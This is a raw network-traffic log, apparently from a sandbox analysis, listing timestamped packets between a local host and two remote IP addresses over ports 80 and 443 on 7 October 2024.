Oct 7, 2024 18:43:20.393059015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393313885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393323898 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393333912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393342018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393351078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393358946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.393358946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.393362999 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393398046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393407106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393414974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393416882 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.393424034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393435955 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393440008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393445015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393451929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393465042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393466949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.393466949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.393476963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393486977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393526077 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.393526077 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.393594980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393649101 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393855095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393856049 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.393865108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393874884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393886089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.393922091 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.393922091 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.394006968 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.394007921 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394186974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394253969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394263983 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394273996 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.394282103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394292116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394340038 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.394340038 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.394370079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394381046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394391060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394402027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394434929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.394434929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.394720078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394750118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394800901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.394800901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.394889116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.394992113 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395025969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395143032 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395292997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395351887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395361900 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395370960 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395395041 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395395041 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395440102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395441055 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395450115 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395461082 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395493984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395534992 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395648003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395658016 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395668030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395677090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395687103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395706892 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395725965 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395766020 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395812988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395822048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395832062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395842075 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395850897 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395862103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395870924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395880938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395883083 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395883083 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395891905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395901918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395911932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.395946026 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.395946026 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396162033 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396177053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396187067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396197081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396208048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396215916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396222115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396228075 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396238089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396249056 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396259069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396269083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396279097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396281958 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396281958 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396291971 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396302938 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396305084 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396354914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396354914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396501064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396511078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396519899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396529913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396538973 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396548986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396557093 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396559000 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396574974 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396644115 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396656036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396665096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396676064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396711111 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396711111 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396744967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396755934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396765947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396774054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396783113 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396792889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396821976 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396838903 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396862030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396867037 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396873951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396883965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396893978 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396903992 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396944046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396950960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396950960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.396955967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396966934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.396977901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.397022009 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.397022009 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.397136927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.397147894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.397156954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.397192001 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.397275925 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.397851944 CEST	443	49720	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.401736975 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.402686119 CEST	443	49718	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.408830881 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.444137096 CEST	49718	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.444360018 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.444479942 CEST	49720	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.459753036 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.477917910 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.477931976 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.477948904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.477960110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.477971077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.477982044 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.478097916 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.478097916 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.479427099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479438066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479449034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479482889 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.479521036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479525089 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.479532957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479582071 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.479659081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479676962 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479679108 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.479691029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479715109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479724884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479736090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479746103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479758024 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479767084 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.479774952 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.479844093 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.479844093 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.480469942 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.480501890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.480515957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.480532885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.480567932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.480567932 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.480608940 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.481492996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481508017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481523991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481537104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481550932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481564045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481595039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481607914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.481609106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481623888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481637001 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481651068 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.481652021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481667042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481668949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.481682062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481695890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481712103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481726885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481726885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.481726885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.481741905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.481790066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.481790066 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.482234955 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482302904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482306004 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.482388020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482402086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482415915 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482429981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482479095 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.482479095 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.482530117 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482543945 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482579947 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.482743025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482758045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482758999 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.482774019 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482789040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482822895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482836962 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482841015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.482841015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.482851982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482866049 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.482867956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482883930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482897043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482912064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.482913017 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.482976913 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.483019114 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.486174107 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.486196995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.486212015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.486226082 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.486243010 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.486260891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.486332893 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.486332893 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.488831043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.488847017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.488861084 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.488876104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.488936901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.488936901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.497796059 CEST	49720	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.497809887 CEST	443	49720	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.498446941 CEST	49720	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.498454094 CEST	443	49720	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.498786926 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.498800039 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.499229908 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.499234915 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.499506950 CEST	49718	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.499516010 CEST	443	49718	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.500139952 CEST	49718	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.500145912 CEST	443	49718	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.500773907 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.500782013 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.501246929 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.501254082 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.614360094 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:20.619378090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:20.668939114 CEST	443	49720	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.669018030 CEST	443	49720	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.669177055 CEST	49720	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.669506073 CEST	49720	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.669506073 CEST	49720	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.669528008 CEST	443	49720	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.669543028 CEST	443	49720	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.670984983 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.671058893 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.671140909 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.672437906 CEST	443	49718	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.672499895 CEST	443	49718	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.672559023 CEST	49718	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.675409079 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.675409079 CEST	49721	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.675435066 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.675446987 CEST	443	49721	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.676589966 CEST	49718	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.676609993 CEST	443	49718	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.676624060 CEST	49718	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.676632881 CEST	443	49718	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.676882982 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.677062988 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.677129030 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.677936077 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.677943945 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.677958012 CEST	49717	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.677963972 CEST	443	49717	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.680668116 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.680696964 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.681338072 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.681338072 CEST	49723	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.681370974 CEST	443	49723	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.682679892 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.682728052 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.683670998 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.683706999 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.683715105 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.683759928 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.683959007 CEST	49724	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.683995008 CEST	443	49724	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.684896946 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.684906006 CEST	443	49726	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.685017109 CEST	49725	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.685044050 CEST	443	49725	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:20.685062885 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.685139894 CEST	49726	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:20.685144901 CEST	443	49726	13.107.246.45	192.168.2.7
